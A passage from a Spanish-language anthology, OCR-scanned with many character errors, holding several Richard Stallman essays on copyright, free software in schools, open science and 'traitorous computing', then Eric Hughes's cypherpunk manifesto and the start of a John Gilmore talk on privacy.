rompa.

Te mereces el software libre.

Copyright 1994, 1998 Richard Stallman
Se permite la copia textual y la distribucion de este articulo en su totalidad a
través de cualquier medio, siempre que esta nota se mantenga.

8. La financiacién de la Fuerza Aérea se acabd hace algun tiempo; el Compilador
GNU de Ada esta ahora en servicio, y su mantenimiento se financia comercial-
mente. (N. del E.)

9. Desde que Stallman reviso este articulo por ultima vez, hace apenas tres afos, la
situacion ha cambiado sobremanera y se han multiplicado las iniciativas comercia-
les, que ya no son tan “modestas” como las que citaba: en torno al software libre
han surgido cientos de nuevas empresas, hasta el punto de convertirse en los dos
ultimos afos en uno de los sectores méas dinamicos del ya de por si dindmico sec-
tor informatico. Muchas de esas empresas mantienen modelos de negocio tradicio-
nales basados en la prestacion de servicios, pero otras estan abriendo nuevas vias.
No ha faltado incluso la incursion de capital financiero y especulativo en empresas
del mundo Linux, como VA Linux y Red Hat, cuya salida a bolsa fue espectacular
en ambos casos. [M.V.]

10. Se refiere a las llamadas radios publicas, que tienen algin parecido con las
radios libres. Para mantenerse sin necesidad de publicidad y sin control mediatico
reciben donaciones de sus oyentes, que Nno pagan por un servicio sino por mante-
ner en antena y sin dependencias comerciales algo que cualquiera escuchara gra-
tis. [M.V.]



Libertad, ;0 copyright?*
Richard M. Stallman

Habia una vez, en la época de la imprenta, una regulacién indus-
trial establecida para el negocio de escribir y editar. Se llamaba
copyright. El propoésito del copyright era fomentar la publicacién de
una diversidad de obras escritas. El método del copyright era obligar a
los editores a pedir permiso a los autores para volver a editar escritos
recientes.

Los lectores corrientes tenian pocos motivos para rechazarlo, pues-
to que el copyright s6lo restringia la publicacién, no las cosas que un
lector podia hacer. Si subia el precio del libro en una pequefia cantidad,
s6lo era el dinero. El copyright ofrecia un beneficio publico, como habia
sido pensado, con apenas carga para el publico. Cumplia bien su come-
tido, por aquel entonces.

Entonces surgioé una nueva forma de distribuir informacién: com-
putadoras y redes. La ventaja de la tecnologia de informacion digital es
que facilita la copia y manipulacion de informacion, incluyendo
software, grabaciones musicales y libros. Las redes ofrecian la posibili-
dad de acceso ilimitado a toda clase de datos: una utopia de la informa-
cion.

Pero habia un obstéaculo en el camino: el copyright. Los lectores que
hacian uso de sus computadoras para compartir informacion publicada,
eran técnicamente infractores del copyright. EI mundo habia cambiado
y lo que habia sido una vez regulacion industrial se habia convertido en
una restriccion al publico que deberia de servir.

* “Freedom —or copyright?”. Traduccion de Pablo Rodriguez. Publicado en la revis-
ta Technology Review en 2000.
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En una democracia, una ley que prohibe una actividad popular,
natural y atil, habitualmente se relaja pronto. Pero grupos de presion de
poderosos editores estaban determinados a impedir al publico aprove-
char la ventaja de sus computadoras y encontraron en el copyright un
arma apropiada. Bajo su influencia, en vez de relajar el copyright para
adecuarlo a las nuevas circunstancias, los gobiernos lo hicieron mucho
mas estricto, aplicando penas severas a lectores sorprendidos compar-
tiendo.

Pero eso no iba a ser lo Ultimo. Las computadoras pueden ser poten-
tes herramientas de dominio cuando unos pocos controlan qué hacen
las computadoras de otras personas. Los editores advirtieron que obli-
gando a la gente a usar software especialmente disefiado para leer libros
electrénicos, podrian lograr un poder sin precedentes: jobligarian a los
lectores a pagar y a identificarse cada vez que leyesen un libro!

Este era el suefio de los editores, y lograron convencer al gobierno
estadounidense para promulgar la Digital Millennium Copyright Act
[Ley de Copyright del Milenio Digital] de 1998. Esta ley otorga a los edi-
tores el poder legal total sobre casi todo lo que un lector puede hacer
con un libro electrénico. jIncluso la lectura no autorizada es delito!

Todavia tenemos las mismas libertades de antes usando libros en
papel. Pero si los libros electrénicos sustituyen a los impresos, esa
excepcion servird de muy poco. Con la “tinta electronica”, que hace
posible descargar un nuevo texto en un trozo de papel aparentemente
impreso, incluso los periédicos podrian volverse efimeros: no mas libre-
rias de libros usados, no mas préstamos de libros a amigos, no mas prés-
tamos de libros en la biblioteca publica —-no més “fugas” que podrian
dar la oportunidad de leer sin pagar (y a juzgar por los anuncios de
Microsoft Reader, no més compras anénimas de libros tampoco). Este es
el mundo que los editores han pensado para nosotros.

¢Por qué hay tan poco debate publico sobre estos cambios capitales?
La mayoria de los ciudadanos no han tenido todavia ocasion de asumir
las consecuencias politicas que surgen de esta tecnologia futurista.
Ademas, al publico se le ha ensefiado que el copyright existe para “pro-
teger” a los titulares del copyright, con la consecuencia afiadida de que
los intereses del publico no cuentan.
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Pero cuando el publico en general empiece a usar libros electréni-
cos y descubra el régimen que los editores les han preparado, empeza-
ran a oponerse. La humanidad no aceptara este yugo por siempre.

Los editores nos han hecho creer que un copyright represivo es la
Unica forma de mantener viva la creacion artistica, pero no necesitamos
una Guerra por las Copias para fomentar la diversidad de obras publi-
cadas; como ha mostrado Grateful Dead la copia privada entre admira-
dores no es necesariamente un problema para los artistas. Legalizando
la copia de libros electronicos entre amigos, podemos volver a convertir
el copyright en la regulacién industrial que una vez fue.

Para cierta clase de escritos, debemos ir incluso més allé. Para arti-
culos académicos y monografias, su publicacion integra en la red debe-
ria ser alentada en todos los casos; esto ayuda a proteger los escritos aca-
démicos haciéndolos mas accesibles. En el caso de libros de texto y de la
mayoria de obras de referencia, la publicacion de versiones modificadas
deberia incluso permitirse, puesto que fomentan su mejora.

Con el tiempo, cuando las redes de computadoras ofrezcan una
forma sencilla de mandar un poco de dinero a alguien, toda la base para
restringir la copia literal desaparecerd. Si le gusta un libro y aparece una
ventanita de su computadora que dice: “cliqueé aqui para dar un dolar
al autor”, ¢no lo haria? El copyright para libros y musica, aplicado a la
distribucion de copias literales no modificadas, se volvera totalmente
obsoleto. iY ni un segundo antes!

Copyright 2000 Richard Stallman.
Se permite la copia y redistribucion literal de este articulo en su totalidad en
cualquier medio, si se mantiene esta nota.



¢Por queé las escuelas deberian usar solo
software libre?*

Richard M. Stallman

Existen razones generales por las que todos los usuarios de compu-
tadoras deberian insistir en usar software libre. Este les da a los usuarios
la libertad de controlar sus propias computadoras; con el software pro-
pietario, la computadora hace lo que el duefio del software quiere que
haga, no lo que usted quiere. También les da a los usuarios la libertad
de cooperar entre si, de actuar correctamente. Esto cuenta para las
escuelas tanto como para el resto de las personas. Pero existen razones
gue se aplican especialmente al caso de las escuelas.

Primero, el software libre puede ahorrarle dinero a las escuelas.
Hasta en los paises mas ricos las escuelas tienen pocos fondos. El
software libre les da a las escuelas, como a otros usuarios, la libertad de
copiar y redistribuir el software, con lo que el sistema escolar puede
hacer copias para todas las computadoras en todas las escuelas. En pai-
ses pobres, esto puede ayudar a achicar la brecha digital.

Esta razdn obvia, si bien es importante, es bastante superficial. Y los
fabricantes de software propietario pueden salvar la situacion donando
copias de sus programas. (jCuidado! Una escuela que acepte esta oferta
puede tener que pagar para recibir las siguientes versiones.) Asi que
pasemos a las razones més profundas.

Las escuelas deben ensefiar a sus estudiantes maneras de vivir que
beneficien a la sociedad como un todo. Asi, deberian impulsar el uso del
software libre, tal como impulsan el reciclaje. Si las escuelas ensefian
software libre a sus estudiantes, entonces éstos usaran software libre
cuando se graduen. Esto ayudara a que la sociedad en su conjunto evite

* “Why schools should use exclusively free software”. Traduccion Carlos Gradin.

(82]



¢(POR QUE LAS ESCUELAS DEBERIAN USAR SOLO SOFTWARE LIBRE? 83

ser dominada (y extorsionada) por megacorporaciones. Esas corpora-
ciones les ofrecen muestras gratis a las escuelas por la misma razén por
la que las compafias de tabaco distribuyen cigarrillos gratis: para hacer
adictos a los chicos.1 No les van seguir haciendo descuentos a estos
estudiantes una vez que crezcan y se graduen.

El software libre permite a los estudiantes aprender cémo funcio-
nan los programas. Cuando los chicos llegan a la adolescencia, algunos
de ellos quieren aprender todo lo que se pueda sobre sus sistemas de
computadoras y sus programas. Esa es la edad en que las personas que
serdn buenos programadores deberian aprenderlo. Para aprender a
escribir buenos programas, los estudiantes necesitan leer y escribir
muchos programas. Necesitan leer y entender programas reales que la
gente realmente utiliza. Sentiran una enorme curiosidad por leer los
codigos fuente.

El software propietario repele su sed de conocimiento; les dice, “El
conocimiento que ustedes quieren es un secreto, japrender esta prohibi-
do!”. El software libre alienta a todos a aprender. La comunidad del
software libre rechaza el “sacerdocio de la tecnologia”, que mantiene al
publico general en ignorancia respecto a como funciona la tecnologia;
alentamos a los estudiantes de cualquier edad y posicion a leer el codi-
go fuente y aprender tanto como quieran saber. Las escuelas que usen
software libre alentaran a los diestros en software a que se superen.

La siguiente razén es todavia més profunda que esto. Esperamos
que las escuelas les ensefien a los estudiantes conocimientos béasicos y
destrezas Utiles, pero esta no es toda su tarea. La misién méas importan-
te de las escuelas es ensefiar a las personas a ser buenas ciudadanas y
buenos vecinos, a cooperar con los otros que necesitan su ayuda. En el
ambito de las computadoras esto significa ensefiarles a compartir
software. Las escuelas primarias, sobre todo, deben ensefarles a sus
alumnos, “Si traes programas a la escuela, debes que compartirlos con
los otros chicos”. Por supuesto, la escuela debe cumplir con lo que ense-
fia: todo el software instalado en la escuela debe estar disponible para
que los estudiantes lo copien, lo lleven a casa y lo redistribuyan.

1. La compaifiia de tabaco RJ Reynolds fue multada con $1,5 millones en 2002 por
repartir muestras gratis de cigarrillos en eventos a los que asistian chicos menores.
Ver http:/AMvwww.bbc.co.uk/worldservice/sci_tech/features/health/tobaccotrial/usa.htm
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Ensefiarles a los chicos a usar software libre, y a participar en la
comunidad de software libre, es una leccién practica de educacion civi-
ca. También ensefia a los estudiantes el rol modelo del servicio publico
antes que el del exitismo. Todos los niveles de educacién deben usar
software libre.

Copyright 2003 Richard Stallman
La reproduccioén literal y la distribucion de este articulo en su totalidad y sin
regalias se permiten para cualquier medio en tanto se mantenga esta nota.



La ciencia debe sacarse el copyright
de encima*

Richard M. Stallman

Deberia ser obvio que la literatura cientifica existe para diseminar el
conocimiento cientifico, y que las revistas cientificas existen para facili-
tar esto. De ello se concluye que las reglas para el uso de la literatura
cientifica deberian estar disefiadas para alcanzar tal meta.

Las reglas con que contamos ahora, conocidas como copyright, fue-
ron establecidas en la época de la imprenta, que es un método inheren-
temente centralizado de produccion de copias a gran escala. En un esce-
nario basado en imprentas, el copyright sobre articulos de revistas se
restringia sélo a los editores —requiriéndoles que obtengan un permiso
para publicar un articulo- y sobre eventuales plagiadores. Ayudaba a
las revistas a funcionar y diseminar el conocimiento, sin interferir en el
valioso trabajo de los cientificos y estudiantes, ya sea como escritores o
lectores de articulos. Estas reglas se adecuaban bien al sistema.

La tecnologia actual para las publicaciones cientificas es, sin embar-
go, la World Wide Web. ;Qué reglas asegurarian mejor la mas amplia
diseminacion de articulos cientificos y de conocimiento en la Web? Los
articulos deberian distribuirse en formatos no privativos [non-
proprietary formats], con acceso libre para todos. Y todo el mundo debe-
ria tener el derecho de reproducir los articulos; esto es, hacer ediciones
textuales con el reconocimiento debido a los autores.

Estas reglas deberian aplicarse para articulos antiguos tanto como
para los futuros, cuando se distribuyen de forma electrénica. Pero no
hay ninguna necesidad de cambiar el actual sistema de copyright tal

*"Science must 'push copyright aside™. Traduccién de Carlos Gradin. Publicado en
la revista cientifica Nature en 2001.
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como opera para la publicacién de revistas en papel, ya que el proble-
ma no reside en ese ambito.

Lamentablemente, parece que no todos acuerdan con las obvieda-
des que mencionamos al comenzar este articulo. Muchos editores de
revistas parecen creer que el propésito de la literatura cientifica es per-
mitirles publicar revistas para que puedan cobrar suscripciones de cien-
tificos y estudiantes. Esta manera de pensar se conoce como “confusion
de los medios con los fines™.

Su modo de hacer las cosas consiste en restringir incluso el acceso a
la mera lectura de literatura cientifica a aquellos que pueden y quieren
pagar por ella. Utilizan las leyes de copyright, que siguen vigentes a
pesar de su inadecuacion a las redes de computadoras, como excusa
para evitar que los cientificos decidan reglas nuevas.

Por el bien de la cooperacion cientifica y el futuro de la humanidad,
debemos rechazar esta vision de raiz —no sélo los sistemas obstructivos
gue se han instituido, sino las mismas prioridades equivocadas en las
gue se fundamentan.

Los editores de revistas a veces sostienen que el acceso on-line
requiere costosas computadoras de alto rendimiento como servidores, y
gue ellos deben cobrar tarifas de acceso para pagar esos servidores. Este
“problema” es una consecuencia de su propia “solucién”. Denle la liber-
tad a todas las personas de copiar y poner en su sitio de Internet los arti-
culos cientificos, y las bibliotecas de todo el mundo abriran sitios de
acceso con copias para satisfacer la demanda. Esta solucién descentrali-
zada reducira los requisitos de ancho de banda y proveera un acceso
mas veloz, al tiempo que protegera los trabajos académicos contra pér-
didas accidentales.

Los editores también sostienen que el trabajo editorial requiere que
se cobre por el acceso. Aceptemos la premisa de que los editores deben
cobrar por su tarea; esto no invalida nuestra propuesta. El costo de edi-
cién de un trabajo cientifico corriente esta entre el 1% y el 3% del finan-
ciamiento en investigacion para producirlo. Un porcentaje tan reducido
dificilmente deberia obstruir el uso de los resultados.

En cambio, el costo de ediciéon podria obtenerse, por ejemplo, a tra-
vés de tarifas a los autores, que pueden trasladarlas a su vez a las enti-
dades que promueven su investigacion. A éstas no deberia importarles,
dado que actualmente pagan por las publicaciones de una manera
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mucho mas aparatosa e indirecta al pagar por la suscripcion de las
bibliotecas universitarias a las revistas. Cambiando el modelo econ6mi-
co para asignar los costos de edicidn a las entidades de apoyo, podemos
eliminar la aparente necesidad de restringir el acceso. Los autores oca-
sionales que no estén afiliados a ninguna entidad o institucion, y que no
reciben ayuda financiera, podrian ser eximidos de los costos de publi-
cacion, siendo asumidos éstos por los autores que si reciben ayuda.

Otra justificacion para las tarifas de acceso a las publicaciones
on-line es la necesidad de financiar la conversion de los archivos impre-
sos en papel a formato digital. Este trabajo debe realizarse, pero debe-
mos buscar maneras alternativas de financiarlo que no impliquen obs-
truir el acceso a los resultados. El trabajo en si no serd mas complicado,
ni serd mas costoso. Es un sinsentido digitalizar los archivos para luego
desperdiciar los resultados restringiendo el acceso a ellos.

La Constitucion de Estados Unidos dice que el copyright existe
“para promover el progreso de la ciencia”. Cuando el copyright impide
el progreso de la ciencia, la ciencia debe sacarse de encima el copyright.

Copyright 2001 Richard Stallman.

La reproduccién literal y la redistribucion de este articulo en su totalidad se
permiten para cualquier medio en tanto se mantenga esta nota y la nota de
copyright.



¢Puede confiar en su computadora?*
Richard M. Stallman

;De quién deberia recibir érdenes su computadora? Mucha gente
piensa que sus computadoras deberian obedecerles a ellos, en vez de a
otras personas. Mediante un plan al que llaman “computacién confia-
ble” [trusted computing], grandes corporaciones de los medios de comu-
nicacion (incluyendo las compafiias cinematogréaficas y de la industria
discogréfica) junto con compafiias de informatica tales como Microsoft
e Intel, estan planificando hacer que su computadora los obedezca a
ellos en vez de a usted. (La version de Microsoft de este esquema se
llama “Palladium™). Los programas propietarios [proprietary programs]
han incluido caracteristicas maliciosas en el pasado, pero este plan haria
esto universal.

Software propietario [proprietary software] significa, fundamental-
mente, que usted no controla lo que hace; no puede estudiar el cédigo
fuente o modificarlo. No es sorprendente que habiles hombres de nego-
cios encuentren formas de usar su control para ponerle a usted en des-
ventaja. Microsoft ha hecho esto varias veces; una version de Windows
fue diseflada para reportar a Microsoft todo el software en su disco
duro; una reciente actualizacién de “seguridad” en el Reproductor
Multimedia de Windows requeria que los usuarios aceptaran nuevas
restricciones. Pero Microsoft no esta solo: el software para intercambio
de musica KaZaa esta disefiado de forma que un asociado de negocios
de KaZaa pueda alquilar el uso de su computadora a sus clientes. Estas
caracteristicas maliciosas son normalmente secretas, pero una vez que

* “Can you trust your computer?”. Traduccion de Javier Smaldone.
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usted se entera de ellas es dificil eliminarlas, dado que no dispone del
codigo fuente.

En el pasado, estos fueron incidentes aislados. “Computacién con-
fiable” los haria omnipresentes. “Computacion traidora” es un nombre
mas apropiado, porque el plan esta disefiado para asegurarse de que su
computadora sistematicamente lo desobedecera. De hecho, esta disefia-
do para que la misma deje de funcionar como una computadora de pro-
posito general. Cada operacion puede requerir de una autorizacién
explicita.

La idea técnica detras de la computacion traidora es que la compu-
tadora incluye un dispositivo de cifrado y firma digital, y las claves se
mantienen secretas para usted. Los programas propietarios usan este
dispositivo para controlar qué otros programas puede ejecutar, a qué
documentos o datos puede acceder y a qué programas se los puede
transferir. Esos programas continuamente descargaran nuevas reglas de
autorizacion a través de Internet, e impondran dichas reglas automati-
camente a su trabajo. Si usted no permite a su computadora obtener las
nuevas reglas periédicamente de Internet, algunas capacidades dejaran
autométicamente de funcionar.

Por supuesto, Hollywood y las compafiias discograficas planean
usar la computacion traidora para “DRM” (Administraciéon de
Restricciones Digitales [Digital Restriction Management]), asi los videos y
la musica descargados podran ser reproducidos s6lo en una computa-
dora especifica. Compartir sera completamente imposible, al menos
usando los archivos autorizados que debera obtener de dichas compa-
fifas. Usted, el publico, deberia tener la libertad y la habilidad de com-
partir esas cosas. (Espero que alguien encuentre la forma de producir
versiones no cifradas, y de subirlas y compartirlas, asi DRM no tendra
éxito completamente, pero esto no es excusa para el sistema).

Hacer imposible el compartir ya es lo suficientemente malo, pero se
pone peor. Existen planes para usar la misma facilidad al enviar docu-
mentos por correo electronico, resultando en mensajes que desaparecen
en dos semanas, 0 documentos que s6lo pueden ser leidos en las com-
putadoras de determinada compafiia.

Imaginese si usted recibiera un mensaje de correo electrénico de su
jefe diciéndole que haga algo que usted piensa que es arriesgado; un
mes después, cuando el tiro sale por la culata no puede usar el mensaje
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para mostrar que la decisién no fue suya. “Ponerlo por escrito” no lo
protege si la orden esta escrita en tinta que desaparece.

Imaginese si usted recibe un mensaje de correo electrénico de su
jefe estableciendo una politica que es ilegal o inmoral, tal como destro-
zar los documentos de auditoria de su compafiia, o permitir que una
amenaza peligrosa para su pais avance sin ser controlada. Actualmente,
usted puede enviar esto a un periodista y exponer la actividad. Con la
computacion traidora, el periodista no sera capaz de leer el documento;
su computadora se negara a obedecerlo. La computacién traidora se
transforma en un paraiso para la corrupcién.

Los procesadores de texto tales como Microsoft Word podrian usar
la computacién traidora cuando usted guarde sus documentos, para
asegurarse de que ningun procesador de texto de la competencia podra
leerlos. Actualmente debemos averiguar los secretos del formato de
Word mediante laboriosos experimentos, para que los procesadores
libres puedan leer documentos de Word. Si Word cifra los documentos
usando computacion traidora cuando los guarda, la comunidad del
software libre no tendra la posibilidad de desarrollar software para leer-
los, y si pudiéramos, tales programas podrian ser prohibidos por la
Digital Millennium Copyright Act [Ley de Copyright del Milenio Digital].

Los programas que usen computacion traidora continuamente des-
cargaran nuevas reglas de autorizacion desde Internet, e impondran
dichas reglas a su trabajo. Si a Microsoft, o al gobierno de los EE.UU., ho
le agrada lo que usted dice en un documento que escribid, podran
publicar nuevas restricciones diciendo a todas las computadoras que se
rehdsen a dejar que alguien lea dicho documento. Cada computadora
del mundo obedecerd cuando descargue las nuevas instrucciones. Su
escrito estara sujeto a un borrado retroactivo estilo 1984. Hasta usted
podria ser incapaz de leerlo.

Podria pensar que usted puede averiguar qué cosas sucias hace una
aplicacion de computacion traidora, estudiar qué tan dafiinas son, y
decidir si aceptarlas. Seria ingenuo aceptarlo, pero el punto es que el
trato que cree que estd haciendo no se mantendra. Una vez que usted
dependa del uso del programa, estara enganchado y ellos lo saben;
entonces pueden cambiar el trato. Algunas aplicaciones automatica-
mente bajaran actualizaciones que haran algo diferente, y no le daran la
posibilidad de elegir si desea la actualizacién o no.
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Actualmente puede evitar ser restringido por el software propieta-
rio no usandolo. Si ejecuta GNU/Linux u otro sistema operativo libre, y
si evita instalar aplicaciones propietarias sobre él, entonces usted esté al
mando de lo que su computadora hace. Si un programa libre tiene una
caracteristica maliciosa, otros desarrolladores en la comunidad la quita-
ran y usted puede usar la versidn corregida. Puede también ejecutar
aplicaciones y herramientas libres en sistemas operativos no libres; esto
falla completamente en darle libertad, pero muchos usuarios lo hacen.

La computacion traidora pone en peligro la existencia de sistemas
operativos y aplicaciones libres, porque usted ya no podra ejecutarlas.
Algunas versiones de la computacion traidora requeriran que el sistema
operativo esté especificamente autorizado por una compafiia particular.
Los sistemas operativos libres no podran ser instalados. Algunas ver-
siones de la computacion traidora requeriran que cada programa sea
especificamente autorizado por el desarrollador del sistema operativo.
No podré ejecutar aplicaciones libres en tales sistemas. Si usted averi-
gua cdmo hacerlo y se lo dice a alguien, eso podria constituir un delito.

Existen proyectos de ley en EE.UU. que requieren que todas las
computadoras soporten computacion traidora, y que se prohiba la cone-
xién de computadoras antiguas a Internet. La CBDTPA (la llamamos
Ley Consuma Pero No Trate de Programar [Consume But Don’t Try
Programming Act]) es uno de ellos. Pero inclusive si no lo fuerzan legal-
mente a migrar hacia la computacion traidora, la presion para aceptar-
la puede ser enorme. Actualmente las personas usualmente utilizan el
formato Word para comunicarse, aunque esto causa varios tipos de pro-
blemas (vea “We Can Put an End to Word Attachments™1). Si solamen-
te una maquina de computacion traidora puede leer los Gltimos docu-
mentos de Word, mucha gente migrara hacia ella, si ven la situacién
s6lo en términos de accion individual (tdmalo o déjalo). Para oponernos
a la computacion traidora, debemos unirnos y confrontar la situacion
como una eleccién colectiva.

1. [Stallman,] en http://www.gnu.org/philosophy/no-word-attachments.html
[2002] [hay trad. cast.. “Podemos acabar con los archivos adjuntos en Word”,
http://www.gnu.org/philosophy/no-word-attachments.es.html].
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Para mayor informacién sobre computacion traidora, vea
http://www.cl.cam.ac.uk/users/rjal4d/tcpa-faq.html.2

Bloquear la computacién traidora requerird que se organicen un
gran numero de ciudadanos. jNecesitamos su ayuda! La Electronic
Frontier Foundation3 (Fundacion Frontera Electrénica) y Public
Knowledge4 (Conocimiento Publico) estan organizando campafias en
contra de la computacién traidora, asi como también el Digital Speech
Project5 (Proyecto Expresion Digital) sponsoreado por la FSF [Free
Software Foundation]. Por favor, visite estos sitios Web para poder sumar-
se y apoyar de su trabajo.

También puede ayudar escribiendo a las oficinas de asuntos publi-
cos de Intel, IBM, HP/Compagq, o cualquiera a quien usted le haya com-
prado una computadora, explicAndole que no quiere ser presionado a
comprar sistemas de computacion “confiable”, por lo cual no estd de
acuerdo en que ellos los produzcan. Esto puede ejercer la presion del
poder del consumidor. Si usted hace esto, por favor envie copias de sus
cartas a las organizaciones antes citadas.

Copyright 2002 Richard Stallman.
Esta permitida la distribucién y copia literal de este articulo completo en cual-
quier medio, siempre que se preserve esta nota.

2. Ross Anderson, “‘Trusted Computing’ Frequently Asked Questions” (hay
trad. cast.: “Preguntas  frecuentes  sobre Informética  Fiable”,
http://linuca.org/body.phtmI?nldNoticia=207). (N. del. E.)

3. http://www.eff.org/

4. http://www.publicknowledge.org/

5. http://www.digitalspeech.org/
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ErIC Hughes fundé en 1992 el grupo

de investigacién y activismo “Cypherpunks”
(cripto-hackers), junto con John Gilmore y Tim
C. May. El grupo mantiene un foro de discu-
sion sobre técnicas de encriptacion, ademas de
organizar encuentros y promover el uso de pro-
gramas de encriptacion para garantizar la priva-
cidad en Internet.

Este texto de 1993 es una de las declaraciones
de cabecera del grupo.

A



Un manifiesto cripto-hacker*
Eric Hughes

En la era electrénica la privacidad es necesaria para lograr una
sociedad abierta. Privacidad no es guardar secretos. Un asunto privado
es algo de lo que uno no quiere que todo el mundo se entere, pero un
asunto secreto es algo de lo que uno no quiere que nadie se entere.
Privacidad es la posibilidad de revelarse uno mismo ante el mundo de
manera selectiva.

Si dos partes realizan algun tipo de negociacién, entonces cada una
guarda un recuerdo de ese encuentro. Cada parte puede hablar sobre lo
que sabe de la otra; ;cémo evitarlo? Se podrian hacer leyes contra esto,
pero la libertad de expresién, todavia mas que la privacidad, es funda-
mental en una sociedad abierta; no buscamos restringir ninguna expre-
sién en ningun sentido. Si varias partes hablan juntas en el mismo foro,
cada una puede hablar a todas las demas y aportar colectivamente cono-
cimiento sobre otras personas y grupos. El poder de las comunicaciones
electrénicas hace posible este dialogo grupal, y no va a desaparecer sélo
porque queramos.

Dado que queremos privacidad, debemos garantizar que cada parte
de una transaccion sepa de la otra sélo aquello que es absolutamente
necesario para la transaccion. Dado que cualquier informaciéon puede
divulgarse, debemos asegurar que revelamos de nosotros lo menos
posible. En la mayoria de los casos la identidad no es necesaria. Cuando
compro una revista en un negocio y le pago en efectivo al cajero, no hace

* “A Cypherpunk’s manifesto”. Traduccion de Carlos Gradin. [Traduzco “Cripto-
hacker” por “Cypherpunk”, término que deriva del subgénero de ciencia ficcién,
combinado con “cypher”, cifra o codigo de criptografia. (N. del T.)]

[95]
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falta que sepa quién soy. Cuando le digo a mi proveedor de correo elec-
trénico que quiero enviar y recibir mensajes, no hace falta que mi pro-
veedor sepa a quién le estoy escribiendo o qué le digo o lo que otros me
dicen a mi; mi proveedor sélo tiene que saber a dénde tiene que enviar
los mensajes y cuanto le debo por el servicio. Cuando mi identidad
gueda al descubierto por el mismo mecanismo de la transaccion, no
tengo privacidad. Aqui yo no puedo descubrirme a mi mismo selectiva-
mente; yo siempre tengo que descubrirme.

Por eso, en una sociedad abierta la privacidad requiere sistemas de
transaccion anénima. Hasta ahora, los billetes fueron ese sistema. Un
sistema de transaccién andénima no es un sistema de transaccion secre-
ta. Un sistema andnimo da la posibilidad a las personas de revelar su
identidad cuando quieren y s6lo cuando quieren; esa es la esencia de la
privacidad.

En una sociedad abierta la privacidad también requiere de cripto-
grafia. Si digo algo, yo quiero que lo escuchen so6lo aquellos a los que
esta destinado. Si el contenido de mis palabras esta disponible a todo el
mundo, yo no tengo privacidad. Encriptar es manifestar el deseo de pri-
vacidad, y encriptar con criptografia débil es manifestar poco deseo de
privacidad. Ademas, para revelar con seguridad la propia identidad
cuando lo corriente es el anonimato es imprescindible la firma cripto-
grafica.

No podemos esperar que los gobiernos, corporaciones u otras gran-
des y difusas organizaciones nos garanticen la privacidad por su gene-
rosidad. A ellos les conviene poder hablar de nosotros, y debemos supo-
ner que lo haran. Tratar de impedir que hablen es pelear con la realidad
misma de la informacion. La informacion no sélo quiere ser libre, la
libertad es el estado al que tiende por naturaleza. La informacién se
expande hasta llenar los soportes disponibles. La Informacién es la
prima mas joven y resistente del Rumor; la Informacién es mas ligera de
pies, tiene mas ojos, sabe mas, y entiende menos que el Rumor.

Debemos defender nuestra privacidad si queremos contar con ella.
Debemos unirnos y crear sistemas que permitan las transacciones ané-
nimas. Durante siglos las personas han defendido su privacidad con
murmullos, oscuridad, sobres, puertas cerradas, sefias y mensajeros.
Las tecnologias del pasado no permitian una privacidad sélida, pero las
tecnologias electronicas si.
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Nosotros los cripto-hackers construimos sistemas anénimos.
Estamos defendiendo nuestra privacidad con criptografia, sistemas de
correo electrénico andénimo, con firmas digitales y dinero electrénico.

Los cripto-hackers escribimos codigo. Sabemos que alguien tiene
que escribir software para defender la privacidad, y dado que no vamos
a tener privacidad a menos que lo hagamos, nosotros vamos a escribir-
lo. Publicamos nuestro c6digo para que nuestros compafieros cripto-
hackers puedan practicar y jugar con él. Nuestro cddigo es libre para
que lo usen todos, en todo el mundo. No nos importa si vos no acordas
con el software que escribimos. Sabemos que el software no puede des-
truirse y que un sistema distribuido en red no puede apagarse.

Los cripto-hackers repudiamos las regulaciones sobre la criptogra-
fia, ya que la encriptacién es un acto fundamentalmente privado. El acto
de encriptar, de hecho, retira informacion de la esfera publica. Hasta las
leyes contra la criptografia alcanzan sélo hasta el borde de una nacién y
donde llega el brazo de su violencia. La criptografia se propagaré inde-
fectiblemente por todo el mundo, y con ella el sistema de transacciones
andénimas que hace posible.

Para que la privacidad se extienda debe formar parte de un contra-
to social. Las personas deben unirse y propagar estos sistemas. La pri-
vacidad s6lo se extiende ante la cooperacion de cada uno en la sociedad.
Los cripto-hackers esperamos tus preguntas y propuestas, y que poda-
mos involucrarte para que no nos traicionemos entre nosotros. De cual-
quier modo, no vamos a cambiar de idea porque algunos no acuerden
con nuestros objetivos.

Los cripto-hackers estdn comprometidos activamente en hacer las
redes mas seguras para la privacidad. Trabajemos juntos sin perder
tiempo.

Hasta entonces.
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J ohn Gilmore es un programador de larga

trayectoria. Participé de diversos proyectos como
GNU, en favor del software libre, y la ONG
Electronic Frontier Foundation (Fundacion Frontera
Electrénica) que se dedica a promover las libertades
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Privacidad, tecnologia y sociedad abierta*
John Gilmore

Mi intervencidn concierne a dos éticas —la defensa de una sociedad
abierta y la defensa de la privacidad. Creo que estas dos éticas se rela-
cionan entre si, y quisiera decir algo acerca de como se relacionan con
nuestro accionar en el mundo.

Esta sociedad fue fundada como sociedad libre y abierta. Nuestros
antepasados, nuestros padres, nuestros compafieros, y nosotros mismos
estamos haciendo y construyendo esta sociedad en ese sentido —porque
creemos que ese tipo de sociedad supera a las sociedades cerradas— en
calidad de vida, en libertad y en la busqueda de felicidad.

Pero yo veo que esta sociedad libre y abierta corre el riesgo de des-
integrarse ante pequefos, inesperados cambios. Todavia es legal vivir
en nuestra sociedad sin documentos —pero apenas. Todavia es legal
vivir pagando en efectivo —pero apenas. Todavia es legal juntarse con
quienes se quiera —a menos que traigan un porro, saquen fotos de chi-
cos desnudos para su album privado, o trabajen con vos creando un
juego de rol de fantasia.l Y creo que estas conferencias corren el riesgo
de ser cooptadas; nosotros nos sentamos aqui y trabajamos y hablamos
con otras personas y elaboramos consensos sobre temas relativamente

* “Privacy, Technology, and the Open Society”. Traduccion de Carlos Gradin.

1. Se refiere a las operaciones policiales contra la comunidad hacker que se habian
realizado en 1990, un afio antes de la conferencia. En la larga lista de abusos come-
tidos por la policia, se cuenta el procesamiento de los empleados de una editorial
de juegos de rol a quienes confundieron con una banda de hackers por el tipo de
informacion que guardaban en sus discos rigidos. La historia completa de esas
redadas es reconstruida por Bruce Sterling en Operation Crackdown (1991), junto con
la historia de las telecomunicaciones y el surgimiento del underground digital. (N.
del T)

[99]
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menores, mientras que perdemos de vista la sociedad abierta en su con-
junto.

Por ejemplo —nosotros tenemos el porcentaje més alto del mundo de
poblacién dentro de la prisiéon. Estibamos segundos pero el afio pasado
superamos a Sudéfrica. Estamos primeros.

En los ultimos diez afios duplicamos el nimero de personas en las
prisiones. De hecho, las celdas nuevas estan ocupadas en su mayoria
por personas con cargos por delitos con drogas, un crimen sin victimas
